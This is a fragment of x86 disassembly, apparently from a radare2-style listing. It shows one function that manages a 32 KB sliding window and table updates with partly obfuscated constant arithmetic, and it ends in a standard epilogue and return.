mov al, byte [eax + ecx + 0x90]
mov ecx, dword [ebp - 0x68]
mov byte [ecx], al
mov eax, dword [esi]
add eax, 1
mov dword [esi], eax
mov al, byte [ecx]
mov edi, dword [ebp - 0x14]
mov ecx, dword [edi]
mov edx, ecx
add edx, 1
mov dword [edi], edx
mov edx, dword [ebp - 0x10]
mov byte [ecx], al
mov eax, dword [edx]
movzx eax, byte [eax]
shr eax, 1
mov ecx, dword [edx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx]
add eax, 0xe20d00f5
add eax, 0xffffffff
sub eax, 0xe20d00f5
mov dword [ecx], eax
cmp eax, 0
jne 0x419ba0
mov eax, dword [ebp - 0x20]
mov dword [eax], 8
mov edi, dword [ebp - 0x14]
mov eax, dword [edi]
mov ecx, eax
add ecx, 1
mov dword [edi], ecx
mov dword [edx], eax
mov eax, dword [ebx]
mov ecx, dword [ebp - 0x68]
movzx ecx, byte [ecx]
mov dx, word [eax + ecx*2 + 0x8192]
sub dx, 0xffff
mov word [eax + ecx*2 + 0x8192], dx
mov edx, dword [ebp - 0x34]
mov eax, dword [edx]
mov ecx, eax
and ecx, 1
or eax, 1
add ecx, eax
mov dword [edx], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 1
xor ecx, 0xffffffff
mov edx, eax
or edx, 1
and edx, ecx
or eax, 1
sub edx, 0x67174950
add edx, eax
add edx, 0x67174950
cmp edx, 0x8000
jae 0x419c29
mov edi, dword [ebp - 0x24]
jmp 0x419bff
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov eax, 0x1a5acef4
sub eax, ecx
add eax, 0xe5a5310c
add eax, 0xd2ad8cde
add eax, 0xffffffff
sub eax, 0xd2ad8cde
xor ecx, ecx
sub ecx, eax
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
jmp 0x419c3d
mov edi, dword [ebp - 0x24]
jmp 0x419c2e
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
jmp 0x419c36
mov ecx, 0x8000
jmp 0x419c3d
mov dword [eax], ecx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ecx]
add eax, 1
and eax, 0x7fff
mov dword [ecx], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx]
sub eax, 0x57eec697
add eax, 0xffffffff
add eax, 0x57eec697
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebx]
add ecx, 0x9272
add ecx, 0xfff8
cmp eax, ecx
jbe 0x419d2b
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x24], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x28], eax
mov eax, dword [edx]
mov ecx, dword [ebx]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x38], eax
mov ecx, dword [ebx]
xor edx, edx
call fcn.00428be0
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
cmp eax, 0
je 0x419cf6
jmp 0x419cd2
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
xor eax, eax
cmp ecx, 0
mov edx, dword [ebp - 0x10]
jl 0x419ce6
mov eax, 1
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov dword [eax], 1
jmp 0x419d24
mov eax, dword [ebx]
mov eax, dword [eax + 0x3c]
mov dword [esi], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x2c]
mov edx, dword [ebp - 0x10]
mov dword [edx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
cmp dword [eax], 0
jne 0x419d34
jmp 0x419d2b
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
cmp dword [eax], 0
jne 0x419d4c
jmp 0x419d3b
jmp 0x419d3d
jmp 0x419b2b
jmp 0x419d44
mov dword [eax], 0
jmp 0x419d50
jmp 0x419d50
jmp 0x419d50
mov eax, dword [eax]
test eax, eax
je 0x419d5f
jmp 0x419d58
sub eax, 3
je 0x419d68
jmp 0x419dbc
jmp 0x419d61
jmp 0x419d63
jmp 0x419200
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x24], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x28], eax
mov eax, dword [edx]
mov ecx, dword [ebx]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x38], eax
mov ecx, dword [ebp - 0x54]
mov dword [ecx], 1
mov eax, dword [ebp - 0x28]
mov dword [eax], 1
jmp 0x419dc1
mov ecx, dword [ebp - 0x54]
jmp 0x419dc1
mov eax, dword [ecx]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret